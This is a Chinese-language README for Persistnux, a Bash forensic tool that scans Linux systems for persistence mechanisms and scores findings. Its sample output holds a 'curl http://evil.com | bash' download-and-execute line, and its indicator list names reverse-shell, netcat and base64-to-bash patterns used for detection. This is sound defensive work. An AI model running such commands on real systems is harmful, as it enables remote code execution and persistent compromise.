
Persistnux — 已更新!
基于Bash的Linux持久性检测工具,用于DFIR调查。扫描15+种持久性机制(systemd、cron、内核模块、SSH、容器),带有置信度评分,并生成CSV/JSONL报告用于取证分析。
Persistnux
一个全面的Linux持久化检测工具,用于数字取证和事件响应(DFIR)调查。
概述
Persistnux 是一个基于 Bash 的工具,旨在识别攻击者用于维护对受感染系统访问权限的已知 Linux 持久化机制。它对系统执行全面检查,并生成 CSV 和 JSONL 格式的详细报告,便于进一步分析。
特性
- 全面检测:覆盖所有主要的 Linux 持久化机制
- 实时分析:直接在运行中的系统上运行,依赖最小
- 详细输出:生成 CSV 和 JSONL 报告,包含文件哈希、元数据和置信度评分
- 支持 Root 和非 Root:可在有或没有 root 权限的情况下运行(非 root 模式下范围受限)
- DFIR 就绪:输出格式兼容常见的 DFIR 工具和工作流程
- 可疑评分:基于指标自动进行置信度评分(低、中、高、严重)
- 误报减少:集成包管理器,并内置已知良好服务白名单
- 基于时间的分析:最近修改的文件获得更高的置信度评分
- 模式匹配:检测反弹 Shell、下载执行模式、混淆技术
检测到的持久化机制
1. Systemd 服务
- 服务文件(
.service)位于/etc/systemd/system、/lib/systemd/system、/usr/lib/systemd/system - 用户级别的 systemd 服务
- 过滤掉已禁用的服务和没有 ExecStart 的服务
- 检测可疑的 ExecStart 命令
- 验证所执行二进制文件/脚本的包完整性
2. Cron 作业与计划任务
- 系统 crontab(
/etc/crontab、/etc/cron.d/*) - 周期性执行目录(
/etc/cron.{daily,hourly,weekly,monthly}) - 所有用户的用户 crontab(root 模式)
- At 作业
- 计划任务中的可疑命令模式
/etc/cron.allow和/etc/cron.denyACL 文件——引用了不存在用户的条目将被标记
3. Shell 配置文件与 RC 文件
- 系统级配置文件(
/etc/profile、/etc/bash.bashrc、/etc/zshrc) - Profile.d 脚本(
/etc/profile.d/*) - 用户配置文件(
.bashrc、.bash_profile、.zshrc、.profile等) - Fish shell 配置
- 检测配置文件中的恶意命令
4. Init 脚本与 RC.local
/etc/rc.local及其变体- SysV init 脚本(
/etc/init.d) - 运行级别脚本(
/etc/rc*.d) - 检测可疑的下载/执行命令
5. 内核模块与库预加载
- LD_PRELOAD 配置(
/etc/ld.so.preload)——列表中的每个库都通过包管理器验证 - 动态链接器配置(
/etc/ld.so.conf、/etc/ld.so.conf.d/)——配置文件完整性 + 非标准路径的.so文件被扫描并验证 /etc/environment中的 LD_PRELOAD/LD_LIBRARY_PATH ——环境文件标记为高;引用的库路径被验证(未管理/修改则标记为严重)- 内核模块参数(
/etc/modprobe.d/、/etc/modprobe.conf)——文件完整性;分析install指令以发现可疑命令目标;安全模块(apparmor、selinux、seccomp)的blacklist被标记为高 - 内核模块自动加载配置(
/etc/modules、/etc/modules-load.d/)——配置完整性;引用模块名称通过modinfo解析为.ko文件并验证 - 已加载的内核模块(
lsmod)——枚举和完整性验证
6. 其他机制
- XDG 自动启动条目(
.config/autostart、/etc/xdg/autostart)——root 模式扫描所有用户主目录 - 系统环境文件(
/etc/environment)——验证 LD_PRELOAD/LD_LIBRARY_PATH 库路径 - Sudoers 配置及 drop-in 文件(
/etc/sudoers、/etc/sudoers.d/)——NOPASSWD/ALL 模式标记为高 - PAM(可插拔认证模块):
- 所有
.so模块通过包管理器验证;遵循@include指令;包含/etc/pam.conf pam_exec.so脚本分析——缺失/可疑脚本标记为严重pam_python.so/pam_perl.so中继检测——提取并分析脚本/etc/security/中检测pam_script.so钩子文件- 配置文件完整性——被修改的包所属 PAM 配置标记为严重
pam_env.conf和~/.pam_environment中的 LD_PRELOAD 库验证/etc/security/常规扫描
- 所有
- MOTD 脚本(
/etc/update-motd.d/)——包验证;被修改标记为严重 - Git 凭据助手和 core.pager 设置——对所有用户进行内容分析
- 常见 Web 目录中的 Web Shell
8. SSH 持久化
- 每个用户的
~/.ssh/authorized_keys——最近修改的密钥被标记;分析command=选项内容以发现可疑模式 - 每个用户的
~/.ssh/rc——存在即标记为中;可疑/反弹 Shell 内容标记为高/严重
9. 二进制劫持
- 对已安装的系统二进制文件与包数据库进行验证(Debian/Ubuntu 使用
dpkg -V,RHEL/CentOS 使用rpm -Va) /usr/bin、/usr/sbin、/bin、/sbin中被修改的文件标记为严重发现/lib/security中被修改的 PAM 模块标记为严重发现- 排除 conffiles(dpkg 配置文件)以避免误报
10. 引导加载程序与 Initramfs
- GRUB 的
init=内核参数注入(/etc/default/grub、/etc/default/grub.d/*.cfg) /根目录下的根级 init 脚本- 带有
pre-pivot钩子并向/sysroot/etc/shadow写入内容的 Dracut initramfs 模块 - Ubuntu initramfs-tools 钩子脚本位于
/etc/initramfs-tools/scripts/和/hooks/ - 最近修改的
/boot/initrd.img-*镜像(基于 mtime)
11. Polkit(PolicyKit)操纵
- 无条件
ResultAny/ResultInactive/ResultActive=yes的.pkla文件 - 通配符身份(
unix-user:*)授权 - 带无条件
polkit.Result.YES的.rules文件(基于 JavaScript 的 Polkit >= 0.106)
12. D-Bus 与 NetworkManager
- 恶意 D-Bus 系统服务
Exec=注册(/usr/share/dbus-1/system-services/) - D-Bus 策略通配符
allow own="*"或send_destination="*"指令 - NetworkManager 调度脚本(
/etc/NetworkManager/dispatcher.d/)
13. Udev 规则
- 执行任意命令或脚本的 Udev
RUN+=指令(/etc/udev/rules.d/、/lib/udev/rules.d/) /run/udev/rules.d/中运行时注入的规则RUN+=中的at/cron委托模式(常见的前台限制绕过)
14. 容器逃逸
- 特权 Docker 容器(
--privileged、--pid=host) - 容器中的
docker.sock绑定挂载(通过 Docker API 完全控制宿主机) - 容器入口点或 Dockerfile 中的
nsenter -t 1 - 用户可写目录中包含逃逸技术的 Dockerfile
15. 高级二进制与权限检查
- 跨系统目录扫描活动 SUID/SGID 文件
- 通过
getcap进行文件能力扫描——GTFOBins 上的cap_setuid+ep标记为严重 - 二进制劫持:重命名的原始文件(
.original、.old、.bak、.real)带有包装脚本 /etc/passwd中 UID 0 的非 root 账户/etc/passwdShell 字段尾部空格导致的 Shell 掩藏- 具有 SSH
authorized_keys文件的系统账户(UID 1-999)
安装
# 克隆仓库
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# 赋予脚本执行权限
chmod +x persistnux.sh
使用方法
基本用法(实时分析)
# 使用默认设置运行(仅显示可疑发现)
sudo ./persistnux.sh
# 显示帮助和所有选项
./persistnux.sh --help
# 以普通用户运行(范围受限)
./persistnux.sh
过滤选项(v2.4+)
默认情况下,Persistnux 仅显示可疑发现(中、高、严重置信度),以减少噪音并聚焦于可操作的威胁。
# 默认:仅显示可疑发现
sudo ./persistnux.sh
# 显示所有发现,包括基线(低置信度)
sudo ./persistnux.sh --all
# 或
sudo FILTER_MODE=all ./persistnux.sh
# 仅显示高和严重置信度发现
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# 组合过滤:仅高置信度
sudo ./persistnux.sh --min-confidence HIGH
自定义输出目录
# 指定自定义输出目录
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# 与过滤结合使用
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
输出文件
默认情况下,Persistnux 创建一个输出目录 ./persistnux_output/,包含:
persistnux_<hostname>_<timestamp>.csv- CSV 格式报告persistnux_<hostname>_<timestamp>.jsonl- JSONL 格式报告(每行一个 JSON 对象)persistnux_<hostname>_<timestamp>_report.txt- 人类可读的摘要报告,包含发现数量和扫描元数据
输出格式
CSV 格式
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
JSONL 格式
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
关键输出字段
- matched_pattern:触发发现的检测模式(例如
suspicious_script_content、modified_package、unmanaged_binary) - matched_string:实际发现的恶意内容(完整行,而不仅仅是关键词)
置信度评分
Persistnux 使用智能置信度评分以减少误报:
- 低:标准系统配置,怀疑度低(通常是包管理的文件)
- 中:可能可疑但可能是正常的
- 高:检测到可疑模式(例如 cron 中的 curl/wget、/tmp 执行、反弹 Shell)
- 严重:确凿的篡改证据——包完整性验证失败、可疑文件的 SUID/SGID、PAM 模块异常、临时位置中的 systemd generator,或带有高熵载荷的内联解释器代码
误报减少(v1.2+)
Persistnux 现在包含多项误报减少功能:
- 包管理器集成:由
dpkg(Debian/Ubuntu)或rpm(RedHat/CentOS)管理的文件获得较低的置信度评分 - 已知良好服务白名单:常见供应商服务(systemd-、dbus-、snap.* 等)自动跳过
- 基于时间的评分:最近修改的文件(<7 天)获得更高的置信度评分
- 上下文感知分析:结合多个指标以实现更准确的检测
可疑指标
Persistnux 在检测到以下情况时会自动以更高的置信度标记项目:
基于网络的模式
- 反弹 Shell:
bash -i >& /dev/tcp/、sh -i >& /dev/udp/ - 网络工具:
nc、netcat、socat、telnet - 脚本语言中的套接字操作:
python -c 'import socket'
下载并执行模式
- 下载工具:
curl | bash、wget | sh - 下载后执行:
curl URL -o /tmp/file && chmod +x
混淆技术
- 编码:
base64 -d | bash、eval $(echo BASE64) - 动态执行:
eval、exec
可疑位置
- 临时目录:
/tmp、/dev/shm、/var/tmp - 隐藏目录和文件
权限操纵
- 使文件可执行:
chmod +x、chmod 777 - SUID 位操纵:
chmod u+s
要求
- Bash 4.0+
- 标准 Unix 工具:
find、grep、stat、sha256sum、awk、file - 可选:
systemctl、lsmod、modinfo、getcap、dpkg/rpm(用于特定检查) - 无需解释器依赖(纯 Bash + coreutils;不需要
python/jq) - 建议使用 root/sudo 以进行全面的分析
测试过 / 兼容性
| 发行版 | 状态 | 备注 |
|---|---|---|
| Ubuntu 22.04 LTS | ✅ 已测试 | 主要开发和测试平台 |
| Ubuntu 20.04 LTS | ✅ 已测试 | 完全支持 |
| Debian 11/12 | ✅ 已测试 | dpkg 基础,路径约定相同 |
| Kali Linux (rolling) | ✅ 已测试 | 用于 PANIX 检测基准测试(见下文) |
| RedHat / RHEL | ⚠️ 尚未测试 | rpm 支持已实现但未在真实系统上验证 |
| Fedora | ⚠️ 尚未测试 | rpm 支持已实现但未在真实系统上验证 |
| CentOS / AlmaLinux / Rocky | ⚠️ 尚未测试 | rpm 支持已实现但未在真实系统上验证 |
注意: 该工具主要在 Ubuntu/Debian 系统上测试。RedHat、Fedora 和基于 RPM 的发行版的包管理器支持已在代码中实现,但尚未在真实测试环境中验证。欢迎为基于 RPM 的发行版贡献和提供测试报告。
测试 / 基准测试
Persistnux 在 PANIX 上进行了基准测试,
PANIX 会安装 Persistnux 所搜索的相同持久化机制。可重复的
测试脚本 tests/panix_benchmark.sh 应用每个
PANIX 技术,运行 Persistnux,并通过基线差异来确认检测。
每个在测试机上适用的基于文件的 PANIX 技术都会以
MEDIUM+ 置信度被检测到。请参阅 PANIX_BENCHMARK.md 以获取完整的
覆盖表和方法。
⚠️ 基准测试会安装真实的后门——仅在一次性虚拟机中运行它。
路线图
- 用于取证磁盘镜像的离线分析模式
- UAC(类 Unix 工件收集器)收集集成
- 在完整虚拟机上将 PANIX 基准测试扩展到引导加载程序/initramfs/LKM 向量
资源
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
贡献
欢迎贡献!请随时提交拉取请求或打开问题,内容涉及:
- 新持久化机制检测
- 错误修复
- 文档改进
- 性能优化
- 其他输出格式
许可
MIT 许可证 - 详情请参阅 LICENSE 文件
致谢
为 DFIR 社区开发,以协助 Linux 事件响应和取证调查。
免责声明
本工具仅用于授权的安全测试、事件响应和取证分析。用户有责任确保在运行本工具之前拥有适当的授权。
联系方式
如有问题、问题或贡献,请使用 GitHub 问题跟踪器。